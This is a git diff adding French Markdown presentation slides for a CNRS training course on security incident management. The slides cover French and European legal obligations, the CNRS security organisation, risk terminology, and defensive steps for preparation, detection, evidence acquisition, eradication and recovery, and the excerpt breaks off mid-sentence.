[LPM/SAIV/OIV](http://www.defense.gouv.fr/actualites/dossiers/la-loi-de-programmation-militaire-lpm-2014-2019), [PPSIE](http://www.ssi.gouv.fr/fr/menu/actualites/le-premier-ministre-dote-l-etat-de-sa-premiere-politique-globale-de-securite.html), [Les différents plans gouvernementaux](http://www.ssi.gouv.fr/fr/defense-des-si/les-plans-gouvernementaux/), ... +* L’incident n’est plus l’exception mais la règle, il faut + * industrialiser son traitement + * limiter l’impact direct sur l’information, les processus métiers, l’organisme, les personnes + * limiter l’impact indirect sur les équipes en charge du traitement + * se protéger, c’est aussi savoir réagir ! + +Note: +- Loi contre le terrorisme 2014 +- Loi pour le renseignement 2015 +- contexte tendu depuis les attentats +- piratage récent Sony / TV5 monde ... Thalès + + +## Obligation légale <!-- .element: id="legal" --> +* [Règlement européen du 24/06/2013](http://eur-lex.europa.eu/LexUriServ/LexUriServ.do?uri=OJ:L:2013:173:0002:0008:FR:PDF") +* [PSSIE (Article 7) - 17 jullet 2014](http://www.ssi.gouv.fr/IMG/pdf/pssie_anssi.pdf) + * *"Chaque entité contribue à la protection et à la défense des systèmes d'information de L'Etat par la mise en place d'une "chaîne opérationnelle", qui rend compte régulièrement à la chaîne fonctionnelle SSI"* +* [Objectifs de sécurité [ANSSI]- 27 férvier 2014](http://www.ssi.gouv.fr/IMG/pdf/20140310_Objectifs_de_cybersecurite_document_public.pdf) + * 5/ Gérer les incidents de cybersécurité +* [Informatique et liberté (article 34 bis)](http://www.legifrance.gouv.fr/affichTexte.do?cidTexte=JORFTEXT000000886460#LEGIARTI000024504700) + * Violation des [données à caractère personnel](http://www.cil.cnrs.fr/CIL/spip.php?rubrique299a) + * déclaration à la CNIL et à l’intéressé +* [Arrêté du 3 juillet 2012 ](http://www.legifrance.gouv.fr/affichTexte.do?cidTexte=JORFTEXT000026140136&dateTexte=) relatif à la PPST + * Article 1 : signalement des incidents majeurs +* [Charte informatique du CNRS (3.2 Règles d’utilisation)](http://www.cil.cnrs.fr/CIL/IMG/pdf/charte_info.pdf) + +Note: +- Niveau Francais, Défense, IL pour l'utilisateur, employeur, Européen +- d'où cette formation + + +## Objectifs +* Maintenir les compétences +* Mettre en place une "bonne pratique" supplémentaire +* Renforcer l’expertise interne existante +* Préparer une formation "investigation" +* Préparer le développement d’un réseau national collaboratif d’experts +* Anticiper le passage à un système de détection – réaction plus efficace + + +## de la [sécurité nationale](http://fr.wikipedia.org/wiki/S%C3%A9curit%C3%A9_nationale) à la SSI au CNRS +### [La défense en profondeur](http://circulaire.legifrance.gouv.fr/pdf/2009/04/cir_2014.pdf) + +* Sébastien Le Prestre de Vauban + +<div style="text-align: center;"> + <img src="/_/images/fortification-a-la-vauban.jpg" width="50%" /> +</div> + +* exploiter plusieurs techniques de sécurité afin de réduire le risque lorsqu'un composant particulier de sécurité est compromis ou défaillant + +Note: +- circulaire à lire +- un mot sur la défense nationale / défense globale / sécurité nationale + + +## Stratégie de la défense en profondeur +* n'évite pas l'attaque + * ralentit l'attaquant en lui opposant des difficultés multiples et variées + * **chacun** est un maillon de la sécurité nationale + * **chacun** est donc responsable + * de l'analyse des risques inhérents à son périmètre pour mieux les maîtriser + * de l'anticipation et de la prévention des accidents et des actes de malveillance + * **de l'amélioration continuelle de la sécurisation de son périmètre** + * le risque 0 n'existe pas + * la sécurité peut toujours être améliorée + + +## la chaîne Sécurité Défense + +<div style="text-align: center;"> + <img src="/_/ssi/images/ssi/organisation_nationale_sdn.png" width="50%" /> +</div> + +Note: +- FSD CNRS Philippe Gasnot +- Le haut "socle commun avec les partenaires" +- le bas "niveau établissements" + + +## la chaîne SSI + +<div style="text-align: center;"> + <img src="/_/ssi/images/ssi/organisation_nationale.png" width="50%" /> +</div> + +Note: +- AQSSI Alain Fuchs + + +## la chaîne sécurité au CNRS + +<div style="text-align: center;"> + <img src="/_/gdi/images/organisation_securite_cnrs.png" /> +</div> + +Note: +- RSSI DR7 Gaetan Dardy +- RSSI CNRS M. Parache a démissionné et va être bientôt remplacé… + + +## La SSI niveau national CNRS +* Un RSSIC nommé par le président et placé, sous l’autorité du DGDR, à la DSI dispose d’une équipe + * Un RSSIC adjoint + * Un RSSI DSI + * Dont les missions principales sont + * L’animation du réseau SSI du CNRS + * La définition et le suivi du plan d’action national SSI qui est présenté devant le Comité de Pilotage de la SSI du CNRS + * La prise en compte des directives SGDSN – Ministère en lien avec les partenaires du domaine ESR + * Qui est également chargé de mission auprès du Fonctionnaire de Sécurité et de Défense (FSD) du CNRS + * pour garantir la conformité des actions SSI avec la protection du potentiel scientifique et technique + +Note: +- RSSIC adjoint Francois Morris +- RSSI DSI Jérémie Boutard + + +## La SSI niveau régional CNRS +* Un RSSI de DR + * nommé, dans chaque délégation régionale après avis du RSSIC + * anime le réseaux des chargés de sécurité des systèmes d’information (CSSI) des unités suivies par sa délégation +* La CRSSI + * Le RSSI DR s’entoure, en accord avec le RSSIC, d’experts SSI appartenant à des unités de recherche, pour former une coordination régionale de la SSI (CRSSI) + + +## La SSI niveau unité CNRS +* Le DU est responsable de la SSI +* [Le Chargé de sécurité des systèmes d’information (CSSI)](https://aresu.dsi.cnrs.fr/spip.php?article120) + * nommé par le directeur d’unité, après avis du RSSI régional + * assiste son DU dans l’exercice de sa responsabilité en matière de SSI + * assiste son DU pour la mise en Å“uvre de la PSSI du CNRS dans son unité + * sensibilise les agents à la SSI + * met en Å“uvre les recommandations SSI transmises par le RSSI du CNRS + * gère les alertes et incidents + +Note: +- responsabilité du DU exemple du chiffrement + + +## Point de contact +* Toute unité doit en avoir un + * Un événement lié à la sécurité de l'information doit être rapporté, enregistré, traité au niveau local + * Si signalé à un niveau supérieur, sera systématiquement répercuté au niveau local + * Au cas où le niveau local serait impliqué, possibilité de signalement au niveau supérieur + * Publié, connu de tous + * Noms des personnes + * Mèl + * Téléphone + * Assistance utilisateurs si elle existe + * Souvent CSSI, ASR + * Peut être mutualisé entre plusieurs unités + * Pas nécessairement un spécialiste de la sécurité + + +## ISIRT (Information Security Incident Response Team) +<div style="text-align: center;"> + <img src="/_/gdi/images/isirt_cnrs.png" /> +</div> + + +## Remontée et veille en sécurité CNRS + +<div style="text-align: center;"> + <img src="/_/gdi/images/remontee_veille_cnrs.png" /> +</div> + + +## [Espace de travail collaboratif dédié à la SSI](https://extra.core-cloud.net/collaborations/RSSI-CNRS) + +* Partagé + * RSSI + Adjoints (partenaires compris) + * CRSSI + * CSSI + Adjoints + * 1 liste d’ASR pour la diffusion des alertes hebdomadaires +* Prévention + * Documentation sur la sensibilisation des utilisateurs + * Enquête (vivante) sur le déploiement du chiffrement +* Politique de sécurité + * PGSSI du CNRS dont la charte SSI du 29/11/2013 + * PSSI opérationnelle pour les laboratoires + * Liste des règles classée par chapitre (sensibilité notée 1 à 3 *) +* Un système de déclaration des incidents utilisant un workflow + +Note: +- le live CD d'A2IMP +- des fiches techniques liés aux événements d'actualités +- ces supports et ceux des autres DR \ No newline at end of file diff --git a/content/slides/1337/md/reagir/01_formalisation.md b/content/slides/1337/md/reagir/01_formalisation.md new file mode 100644 index 0000000000000000000000000000000000000000..9d6ec6d3c1ef85b1b4d2318c415238dbc80ddacf --- /dev/null +++ b/content/slides/1337/md/reagir/01_formalisation.md @@ -0,0 +1,131 @@ +## Formalisation + +<div style="text-align: center;"> + <img src="/_/gdi/images/GdI-incidents.png" width="70%"/> +</div> + + +## qu'est ce qu'un incident de sécurité? + +* violation d'un des critères de sécurité de l'information + * confidentialité + * intégrité + * disponibilité + + +## [Gestion de risques](https://www.cases.lu/fr/gestion-du-risque.html) +### ici avec la terminologie [EBIOS](http://www.ssi.gouv.fr/IMG/pdf/EBIOS-1-GuideMethodologique-2010-01-25.pdf) +* utilise plusieurs éléments de la méthodologie + * notion de scenarii + * notion de vraissemblance / probabilité / occurrence + * les échelles + * les bases de connaissances +* doit être caractérisé par un type + * vol ou perte + * intrusion + * ingénierie sociale (arnaque, phishing, etc.) + * violation des règles (P2P illégal) + * Déni de services + * Vulnérabilité découverte mais a priori non exploitée + + +## Sources de Menaces +### Caractéristaion +* origine humaine + * intentionnelle + * motivations + * accidentelle +* origine non humaine + * naturelle + * animale + * contingence +* facilité d'accès au sujet de l'étude (interne ou externe) +* capacités (force intrinsèque, selon leurs ressources, expertise, dangerosité…) + * notion pertinente en analyse de risques + * inutile dans le cas de la gesiton d'incident (l'attaque a eu effectivement eu lieu) + + +## Sources de Menaces <!-- .element: id="menace" --> +### Classification +* Source humaine interne, malveillante +* Source humaine externe, malveillante +* Source humaine interne, sans intention de nuire +* Source humaine externe, sans intention de nuire +* Code malveillant d'origine inconnue +* Phénomène naturel +* Catastrophe naturelle ou sanitaire +* Activité animale +* Événement interne + + +## Motivations +* Jeu, défi +* Curiosité +* Argent, cupidité, gain financier +* Destruction, vandalisme, sabotage +* Vengeance +* Rébellion +* Idéologie, avantage politique +* Chantage +* Ego, amour-propre, couverture médiatique +* Recherche d'un avantage concurrentiel, espionnage économique, renseignement +* Terrorisme +* Erreurs et omissions involontaires + + +## Actifs +* Actifs primordiaux + * Processus et activités métier + * Informations +* Actifs support + * Matériel + * Logiciels + * Réseau + * Personnel + * Site + * Structure de l'organisation +* Menace + * Cible les actifs primordiaux + *Exploite les vulnérabilités des actifs en support + + +## Vulnérabilités<!-- .element: id="vulnerabilite" --> +* A identifier au mieux + * Déterminer les versions des produits + * trouver des vulnérabilités connues + * Si possible déterminer le <a href="http://cve.mitre.org/index.html">CVE (Common Vulnerabilities and Exposures)</a> + + +## Exploits +* Mode opératoire de l’attaquant + * Récupérer le maximum d’informations sur + * Actions effectuées + * Outils, programmes, scripts utilisés + + +## Impacts, conséquences +* Types dimpacts et conséquences retenus pour le CNRS + * Pertes financières + * Désorganisation interne + * Atteinte à l’image de marque + * Pertes du potentiel scientifique et technique + * Condamnation et contentieux + * Sécurité des personnes et atteintes à l'environnement +* Evaluation + * Immédiat : perte d'un critère de sécurité (DIC) + * Pertes directes (vol ou perte) + * Temps passé à la résolution de l'incident + * Temps perdu suite à une indisponilibité ou à la restauration de l'intégrité + * Plus ou moins long terme + + +## Gravité +* Evaluation une fois l'analyse de l'incident terminé +* Mêmes échelles que pour l’appréciation des risques +* Estimation des conséquences potentielles en fonction des éléments disponibles + * Prévoir le pire + * Doit être en permanence reconsidérée +* Les quasi incidents + * Les dommages ont été évités par chance + * Découverte de vulnérabilités + * Doit être évalué comme un risque \ No newline at end of file diff --git a/content/slides/1337/md/reagir/02_etapes_principales.md b/content/slides/1337/md/reagir/02_etapes_principales.md new file mode 100644 index 0000000000000000000000000000000000000000..058e297dc419550dcbedc6eb13ba83265b88228a --- /dev/null +++ b/content/slides/1337/md/reagir/02_etapes_principales.md @@ -0,0 +1,48 @@ +## Étapes principales + +<div style="text-align: center"> + <img src="/_/gdi/images/plan.jpg" width="70%" /> +</div> + + +## Etapes de la gestion d’incidents +* La norme définit 5 étapes : [ISO27035 4.5](http://www.iso27001security.com/html/27035.html) (Information security incident management) + * Prepare + * Identify + * Assess + * Respond + * Learn +* Cette formation traite la gestion d'incidents en 6 étapes + * Préparer + * Détecter, évaluer et réagir + * Confiner et acquérir (rapidement) + * Eradiquer et agir (efficacement) + * Recouvrer (et prévenir) + * Consolider + + +## Diagramme de flux + +<div style="text-align: center;"> + <a href="/_/gdi/images/diagdeflux.png"><img src="/_/gdi/images/diagdeflux.png" width="40%" /></a> +</div> + +Note: +- aspect amélioration + + +## Cartographie de la Gestion d'incidents au CNRS + +[](https://aresu.dsi.cnrs.fr/IMG/pdf/Incidents.pdf) + + +## Roue de Deming (PDCA) + +<div style="text-align: center;"> + <img src="/_/gdi/images/PDCA.jpg" width="70%" /> +</div> + +* Planifier +* Développer +* Contrôler +* Ajuster \ No newline at end of file diff --git a/content/slides/1337/md/reagir/03_preparer.md b/content/slides/1337/md/reagir/03_preparer.md new file mode 100644 index 0000000000000000000000000000000000000000..7544b311a63f127441567ee777b535945a7cef46 --- /dev/null +++ b/content/slides/1337/md/reagir/03_preparer.md @@ -0,0 +1,133 @@ +## Préparer <img src="/_/images/PDCA/PDCA-P.png" width="20%" align="right"/> + +<div style="text-align: center;"> + <img src="/_/gdi/images/etes-vous-prets.jpg" width="70%"/> +</div> + + +## Préparer <img src="/_/images/PDCA/PDCA-P.png" width="20%" align="right"/> +* être identifié comme CSSI +* organiser la sensibilisation +* anticiper l'arrivée de l'incident pour + * dédramatiser + * avoir une marche à suivre + * éviter les erreurs techniques et organisationelles + * éviter la culpabilité + * éviter la dissimulation + * la déclaration d'incident est une obligation légale + * rappeler les Chartes d'utilisation des moyens informatiques du CNRS et des partenaires + +Note: +- vertu de l'identificaiton, facilite la remontée évite la dissimulation amène à un comportement intelligent vis à vis de l'incidetn +- sensibilisation bon point de départ + + +## Préparer <img src="/_/images/PDCA/PDCA-P.png" width="20%" align="right"/> +* L’environnement organisationnel + * Préparer ou se rapprocher des procédures de gestions de crise + * Préparer ou se rapprocher des plans de communication + * Préparer la gestion des priorités avec la hiérarchie, pour exemple : + * P1 : les personnes + * P2 : les informations « PPST » + * P3 : les informations personnelles + * etc. + * S'assurer que la hiérarchie est impliquée et consciente de sa responsabilité + + +## Préparer <img src="/_/images/PDCA/PDCA-P.png" width="20%" align="right"/> +* L’environnement organisationnel + * Préparer une fiche de contacts (hiérarchie, partenaires, tutelles, etc.) + * Identifier les chaines de sécurité (ISIRT ou CSIRT en local, régional, national, partenaires, etc.) + * Préparer des fiches réflexes + * Connaitre les différents plan de continuité (PCA) et plan de reprise (PRA) du périmètre + * par exemple, les bascules automatiques peuvent détruire les preuves + * Disposer d’une liste d’outils pour l’acquisition (A2IMP) + + +## Préparer <img src="/_/images/PDCA/PDCA-P.png" width="20%" align="right"/> +* L’environnement légal +* Etre à jour sur les déclarations CNIL +* Etre à jour sur la réglementation spécifique +* Avoir mis en place les mentions légales + * Web: [http://www.cil.cnrs.fr/CIL/spip.php?page=mentions_legales](http://www.cil.cnrs.fr/CIL/spip.php?page=mentions_legales) + * Systèmes: <img src="/_/gdi/images/notice_to_users.png" width="60%" /> + +Note: +- Affaire bluetouf & kitetoa "il n'ya pas de délis sans intention de le connaître" + + +## Préparer <img src="/_/images/PDCA/PDCA-P.png" width="20%" align="right"/> +* Gestion des traces + * [Politique de gestion des traces d'utilisation des moyens informatiques et des services réseau au CNRS](https://aresu.dsi.cnrs.fr/IMG/pdf/Po_gest_traces.pdf) + * Le CNRS a fait une déclaration à la CNIL relative aux logs + * Conserver + * Logs serveurs et postes de travail + * Logs serveurs de messagerie + * Logs serveurs Web + * Logs Services réseaux + équipements d'extrémités (Firewalls, routeurs, …) + * Logs de systèmes de détection d'intrusion (IDS) + * Logs de applications spécifiques, dès lors qu'elles enregistrent des données de connexion, d'utilisation + * La durée de conservation de ces journaux est fixée au maximum à 1 an (et au minimum à 1 an aussi ...) + + +## Préparer <img src="/_/images/PDCA/PDCA-P.png" width="20%" align="right"/> +* Gestion des traces + * Elle nous précise aussi la manière dont : + * on peut exploiter ces données (analyse, statistiques, …) + * l'unité doit informer les utilisateurs de la gestion qui est faite des traces qui les concernent. + * En fonction de ces informations, il apparaît qu’il est à minima fortement recommandé de : + * Gérer ses logs sur tous ses serveurs + * déployer une architecture de centralisation des logs + * Solution préconisée par le CNRS: + * rsyslog + outil d'analyse (logCheck, logwatch, logAnalyser, logStash, ElasticSearch, Kibana) + + +## Préparer <img src="/_/images/PDCA/PDCA-P.png" width="20%" align="right"/> +* La gestion des traces + * Les utilisateurs doivent être informés (CNIL) + * Charte + * Le traitement doit être proportionnel (CNIL) + * Gestion pour supervision technique sans intrusion dans la vie privée + * Analyse fine uniquement à la demande de la chaîne SSI / Défense CNRS si suspicion + * Destinataires + * Chaîne SSI / Défense CNRS + * OPJ dans le cadre d’une enquête préliminaire ou commission rogatoire + + +## Préparer <img src="/_/images/PDCA/PDCA-P.png" width="20%" align="right"/> +* Pour anticiper le recouvrement s'assurer + * D’avoir un inventaire à jour des mots de passe et des séquestres + * Physique + * Numérique + * Doit être frais et fonctionnel (à tester) + * Etes vous en mesure de déverrouiller un périphérique chiffré pris au hasard sur votre parc? + * D'avoir des sauvegardes fraîches et fonctionnelles (outil de sauvegarde / dashboard pour le suivi) + * Que vous n'êtes pas le seul à pouvoir réaliser tester ces opérations + * A minima qu'elles soient documentées + * idéalement former une équipe d'experts en gestion des incidents + + +## Préparer <img src="/_/images/PDCA/PDCA-P.png" width="20%" align="right"/> +* Kit de survie GdI + * liste des contacts + * [bloc-note (journal)](/_/gdi/download/Fiche_intervention.pdf) + * <i class="fa fa-gift"></i> disque dur externe (recueil de preuve) + * [Livecd A2IMP](https://mycore.core-cloud.net/public.php?service=files&t=1357ba7c8c2604a71f9695449fe6b39a) et doc [linux](https://mycore.core-cloud.net/public.php?service=files&t=f141f3741d356ac95bea7b92287111d7) et [windows](https://mycore.core-cloud.net/public.php?service=files&t=9d00808565b9c8fcd865940008e2b4ac) + * [version antérieure](https://extra.core-cloud.net/collaborations/RSSI-CNRS/Documentation/Documents/ISO%20A2IMP.aspx) + * Procédures (confinements, configurations, restaurations…) + + +## Préparer <img src="/_/images/PDCA/PDCA-P.png" width="20%" align="right"/> +* Faire de la veille de vulnérabilités SSI + * [https://listes.services.cnrs.fr/wws/admin/corresp_ssi](https://listes.services.cnrs.fr/wws/admin/corresp_ssi) + * Pour être abonné à cette liste de diffusion, il faut faire partie d’au moins une de ces listes sous CORE + * CSSI, CSSI Adjoints, ASR, RSSI Régionaux, RSSI Régionaux adjoints, RSSI Instituts, CRSSI ou être directement inscrit par le RSSI du CNRS. + * [l'intranet du CNRS](https://extra.core-cloud.net/collaborations/RSSI-CNRS/Documentation/Documents/Forms/AllItems.aspx?TreeField=Folders) + * [Que faire en cas de rançongiciel ?](https://extra.core-cloud.net/collaborations/RSSI-CNRS/Documentation/_layouts/WopiFrame.aspx?sourcedoc=/collaborations/RSSI-CNRS/Documentation/Documents/Rancongiciel.docx&action=default&Source=https%3A%2F%2Fextra.core-cloud.net%2Fcollaborations%2FRSSI-CNRS%2FDocumentation%2FDocuments%2FForms%2FAllItems.aspx%3FTreeField%3DFolders&DefaultItemOpen=1&DefaultItemOpen=1) + * [Que faire en cas de défiguration de site web ?](https://extra.core-cloud.net/collaborations/RSSI-CNRS/Documentation/_layouts/WopiFrame.aspx?sourcedoc=/collaborations/RSSI-CNRS/Documentation/Documents/Traitement%20d%C3%A9figuration.docx&action=default&Source=https%3A%2F%2Fextra.core-cloud.net%2Fcollaborations%2FRSSI-CNRS%2FDocumentation%2FDocuments%2FForms%2FAllItems.aspx%3FTreeField%3DFolders&DefaultItemOpen=1&DefaultItemOpen=1) + * [https://aresu.dsi.cnrs.fr/spip.php?rubrique73](https://aresu.dsi.cnrs.fr/spip.php?rubrique73) + * [http://www.certa.ssi.gouv.fr/](http://www.certa.ssi.gouv.fr/) + * [https://services.renater.fr/ssi/cert/info-secu](https://services.renater.fr/ssi/cert/info-secu) + * [http://www.cert-ist.com/fra/ressources/Avis/Listedesderniersavis/](http://www.cert-ist.com/fra/ressources/Avis/Listedesderniersavis/) + +<!-- * [http://vigilance.fr](http://vigilance.fr), [https://twitter.com/VUPEN](https://twitter.com/VUPEN), [https://secunia.com/community/advisories/historic/](https://secunia.com/community/advisories/historic/) --> \ No newline at end of file diff --git a/content/slides/1337/md/reagir/04_detecter_evaluer_et_reagir.md b/content/slides/1337/md/reagir/04_detecter_evaluer_et_reagir.md new file mode 100644 index 0000000000000000000000000000000000000000..88921e7dbb4e54f5cd396d7f56c80995ce06dadc --- /dev/null +++ b/content/slides/1337/md/reagir/04_detecter_evaluer_et_reagir.md @@ -0,0 +1,44 @@ +## Détecter, évaluer et réagir <img src="/_/images/PDCA/PDCA-D.png" width="20%" align="right"/> + +<div style="text-align: center;"> + <img src="/_/gdi/images/detecter.jpg" width="70%"/> +</div> + + +## Détection <img src="/_/images/PDCA/PDCA-D.png" width="20%" align="right"/> +### sources +* Utilisateurs + * Helpdesk + * Incidents informatiques + * Changements + * Performances + * Redémarrage de machines +* Analyses des journaux, outils de surveillance + * IDS, IPS, sondes, SIEM, etc. +* Métrologie +* ISIRT ([RENATER](https://www.renater.fr/), [CERT-FR](http://cert.ssi.gouv.fr/) [ex CERTA](http://www.cert.ssi.gouv.fr/cert-fr/certfr.html)) +* Police, justice, Victimes d’une attaque +* Médias, Sites web ([zataz](http://www.zataz.com/tag/cnrs), [zone-h](http://www.zone-h.org/archive/filter=1/fulltext=1/domain=cnrs), pastebin, etc.) + + +## Identifier & caractériser <img src="/_/images/PDCA/PDCA-D.png" width="20%" align="right"/> +* Recueillir les qui, quoi, quand, où, comment, etc. +* En premier lieu, vérifier que ce n'est pas + * une erreur de configuration + * une erreur humaine + * un défaut de communication entre personnes ou entités +* Première évaluation, sans parti pris, ni conclusion hâtive +* En cas de doute ne pas hésiter à demander de l'aide (local, régional, national) + + +## 1<sup>ère</sup> évaluation <img src="/_/images/PDCA/PDCA-D.png" width="20%" align="right"/> +* Désigner une personne compétente (formée) + * identifiée en phase de préparation et lui laisser la main +* Ouverture du kit de gestion des incidents +* Horodatage précis de l'ouverture du journal +* Déterminer "à grosse maille" + * ce qui a été compromis + * l'étendu des dégâts +* Typer et classer l'incident + * Passer rapidement et directement au confinement + * Ou escalader auprès de la hiérarchie et/ou en gestion de crise, puis passer rapidement au confinement \ No newline at end of file diff --git a/content/slides/1337/md/reagir/05_confiner_et_acquerir.md b/content/slides/1337/md/reagir/05_confiner_et_acquerir.md new file mode 100644 index 0000000000000000000000000000000000000000..616db42e87d3feecda1babbab5f16517414788a0 --- /dev/null +++ b/content/slides/1337/md/reagir/05_confiner_et_acquerir.md @@ -0,0 +1,56 @@ +## Confiner et acquérir <img src="/_/images/PDCA/PDCA-D.png" width="20%" align="right"/> + +<div style="text-align: center;"> + <img src="/_/gdi/images/inscetoscopes.jpg" width="70%"/> +</div> + + +## Les outils A2IMP <img src="/_/images/PDCA/PDCA-D.png" width="20%" align="right"/> + +* A2IMP : Aide à l'Acquisition d'Informations sur une Machine Piratée +* Formation initiale organisée par l'UREC (2006/2007) +* Méthodologie toujours valable (mais prise en compte de l'évolution des systèmes [linux](https://mycore.core-cloud.net/public.php?service=files&t=f141f3741d356ac95bea7b92287111d7) et [windows](https://mycore.core-cloud.net/public.php?service=files&t=9d00808565b9c8fcd865940008e2b4ac)) +* [Livecd A2IMP](https://mycore.core-cloud.net/public.php?service=files&t=1357ba7c8c2604a71f9695449fe6b39a) mis à jour + * Scientific Linux 6.5 avec kernel récent (3.x) + * Outils à la racine du CD (pour l'acquisition des données volatiles) + * a2impLinux + * a2impWin + * Outils en mode LiveCD (démarrage du système live pour la sauvegarde des partitions) + + +## Confiner et acquérir <img src="/_/images/PDCA/PDCA-D.png" width="20%" align="right"/> + +<div style="text-align: center;"> + <img src="/_/gdi/images/zalman.jpg" width="70%"/> +</div> + +**Faire l'acquisition des données volatiles avant d'isoler la machine du réseau** permet de récupérer plus d'informations sur le contexte + +* connexions réseaux, utilisateurs connectés, processus liés aux activité réseaux, cache, mémoire RAM... + + +## Confiner et acquérir <img src="/_/images/PDCA/PDCA-D.png" width="20%" align="right"/> +### Collecte des données volatiles +* Monter l'ISO A2IMP +* Utiliser les binaires de l'ISO uniquement +* Lancer le script d'acquisition correspondant au système +* Sauvegarder les données récupérées sur un support externe + +### cas d'une vm +* faire un snapshot + + +## Confiner et acquérir <img src="/_/images/PDCA/PDCA-D.png" width="20%" align="right"/> +### Arrêter la compromission +* Arrêter la machine +* Deconnecter le cale réseau physiquement + +### cas d'une vm +* arrêter la vm +* désactiver la vm via l'interface de l'hyperviseur + +### créer une image disque +* rebooter sur l'ISO A2IMP + * attention à ne pas rebooter sur le système corrompu +* lancer la copie du disque avec signature + * sur un disque externe \ No newline at end of file diff --git a/content/slides/1337/md/reagir/06_eradiquer_et_agir.md b/content/slides/1337/md/reagir/06_eradiquer_et_agir.md new file mode 100644 index 0000000000000000000000000000000000000000..cc09e2b25a5fe11628ff0c5b8229d6616fa06b03 --- /dev/null +++ b/content/slides/1337/md/reagir/06_eradiquer_et_agir.md @@ -0,0 +1,117 @@ +## Eradiquer et agir <img src="/_/images/PDCA/PDCA-D.png" width="20%" align="right"/> + +<div style="text-align: center;"> + <img src="/_/gdi/images/Shaun_of_the_Dead.jpg" width="70%"/> +</div> + + +## Eradiquer et agir <img src="/_/images/PDCA/PDCA-D.png" width="20%" align="right"/> +* [Un problème de sécurité informatique non-traité est répréhensible](#/1/2) +* Décider rapidement avec la hiérarchie et la chaine fonctionnelle des suites à donner + * Activer la cellule de gestion de crise + * Activer les plans de continuité et/ou de reprise + * Demander une analyse externe + * <a href="http://www.dgdr.cnrs.fr/FSD/securite-systemes/que-faire4.htm">porter plainte en matière de SSI</a> sur le site de la DG +* Conserver les preuves A2IMP faites à l’étape d’acquisition + * Surtout en cas d'analyse judiciaire et/ou CERT + + +## Eradiquer et agir <img src="/_/images/PDCA/PDCA-D.png" width="20%" align="right"/> +* Communiquer en interne de l’unité + * En accord avec la hiérarchie ! + * Peut être établi au préalable lors de la phase de préparation +* Communiquer en externe de l’unité + * En accord avec la hiérarchie ! + * signaler l'incident au niveau régional et national (chaîne SSI) + * pour les unités multi-établissements + * la « convention de site » doit préciser qui est pilote SSI + +## Déclarer l'incident <!-- .element: class="fragment" --> + + +## Eradiquer et agir <img src="/_/images/PDCA/PDCA-D.png" width="20%" align="right"/> +### Déclarer l'incident ... à qui? +* Fonctionnaire de sécurité de défense (FSD) + * Est informé des incidents concernant la protection du potentiel scientifique et technique (PPST) + * A délégation pour porter plainte en cas d’intrusion +* Direction des affaires juridiques (DAJ) + * Impliquée dans les dépôts de plainte + * Intrusion <i class="fa fa-hand-o-right"></i> FSD + * Autres (vol par exemple) <i class="fa fa-hand-o-right"></i> DAJ +* Correspondant informatique et libertés (CIL) + * Impliqué lorsqu’il y a violation de données à caractère personnel +* Direction de la communication (DirCom) + * Impliquée lorsqu’un incident a une exposition médiatique +* Direction de l’audit interne (DAI) + * Vérification que les procédures sont bien conformes + + +## Eradiquer et agir <img src="/_/images/PDCA/PDCA-D.png" width="20%" align="right"/> +### Déclarer l'incident ... à qui? +* Délégué régional + * Délégation pour certains dépôts de plainte (après avis de la DAJ) + * Impliqué dans la gestion de crise +* Directeur d’unité + * Systématiquement informé d’un incident dans son unité + * La sécurité est de sa responsabilité +* Utilisateur + * A l’obligation de remonter les incidents SSI +* Cellule de crise +* RSSI des autres tutelles + * Doivent systématiquement être informés d’un incident + * A charge de réciprocité +* Tenir informer le CERT (ISIRT) qui a signalé l’incident + + +## Eradiquer et agir <img src="/_/images/PDCA/PDCA-D.png" width="20%" align="right"/> +### Déclarer l'incident ... par qui? +* Le CSSI (ou le RSSI-Région) enregistre l’incident. +* Le CSSI, le RSSI-Région et le RSSI partenaire complètent l’enregistrement. +* Le RSSI CNRS + + +## Eradiquer et agir <img src="/_/images/PDCA/PDCA-D.png" width="20%" align="right"/> +### Déclarer l'incident ... comment? +* Formulaire de déclaration d'incident sur l'espace de travail collaboratif dédié à la SSI + * [https://extra.core-cloud.net/collaborations/RSSI-CNRS/SitePages/D%c3%a9clarer%20un%20incident.aspx](https://extra.core-cloud.net/collaborations/RSSI-CNRS/SitePages/D%c3%a9clarer%20un%20incident.aspx) + * Détails + * Machines compromises + * Journal + * Investigations + * Impacts et conséquences de l'incident + * [Aide à la gestion des incidents](https://extra.core-cloud.net/collaborations/RSSI-CNRS/SitePages/Aide%20gestion%20des%20incidents.aspx) + +Note: +- ouvrir le formulaire +- dérouler tous les pop up + +## Eradiquer et agir <img src="/_/images/PDCA/PDCA-D.png" width="20%" align="right"/> +### Investiguer +* Trouver les causes de l'incident afin de revenir à une situation normale + * En général, un incident a plusieurs causes + * Une ou plusieurs [menaces](#menace) + * Une ou plusieurs [vulnérabilités](#vulnerabilite) + * Techniques + * Organisationnelles +* Si nécessaire, activer une analyse inforensique poussée (type A3IMP) + * Coûts + * Dégâts causés + * Facteurs juridiques et procédure judiciaire + * Complexités de l’attaque + + +## Eradiquer et agir <img src="/_/images/PDCA/PDCA-D.png" width="20%" align="right"/> +### Préparer le retour à la normale +* Revenir à une situation nominale + * Restauration partielle + * Eradication des codes malveillants, etc. + * Ou, réinstallation complète + * Recommandé, surtout en cas de doute ! + * Importance des sauvegardes et archives ! +* Et dans tous les cas s’assurer que l’incident ne se reproduise pas + * Durcir les configurations + * Changer et durcir les mots de passe et éventuellement les méthodes d'authentification (multifacteur) + * Mettre à jour les correctifs de sécurité + * Durcir la topologie réseau (VLAN, routage, etc.) + * Durcir le filtrage réseau + * **Avant de ré-ouvrir le service** \ No newline at end of file diff --git a/content/slides/1337/md/reagir/07_recouvrer.md b/content/slides/1337/md/reagir/07_recouvrer.md new file mode 100644 index 0000000000000000000000000000000000000000..be4774b8db48106ac4614e07b5a1b8d8cfe9d50d --- /dev/null +++ b/content/slides/1337/md/reagir/07_recouvrer.md @@ -0,0 +1,21 @@ +## Recouvrer <img src="/_/images/PDCA/PDCA-C.png" width="20%" align="right"/> + +<div style="text-align: center;"> + <img src="/_/gdi/images/walkertexasranger.jpg" width="70%"/> +</div> + + +## Recouvrer <img src="/_/images/PDCA/PDCA-C.png" width="20%" align="right"/> + +* Objectif: s'assurer d'avoir remis en service un système sain + * Actions + * Vérifier et valider le comportement du système + * Recettes fonctionnelle et technique avant ré-ouverture + * Ré-ouvrir le service en mode nominal ou dégradé + * Suivi renforcé du comportement dans les minutes / les heures / les jours (en fonction du contexte) qui suivent la réouverture du service + * Analyse quotidienne des traces réseaux et systèmes + * Analyse quotidienne des journaux d’audit + * Visite quotidienne des urls + * Revue quotidienne des résultats Google + * Etc. +* Si 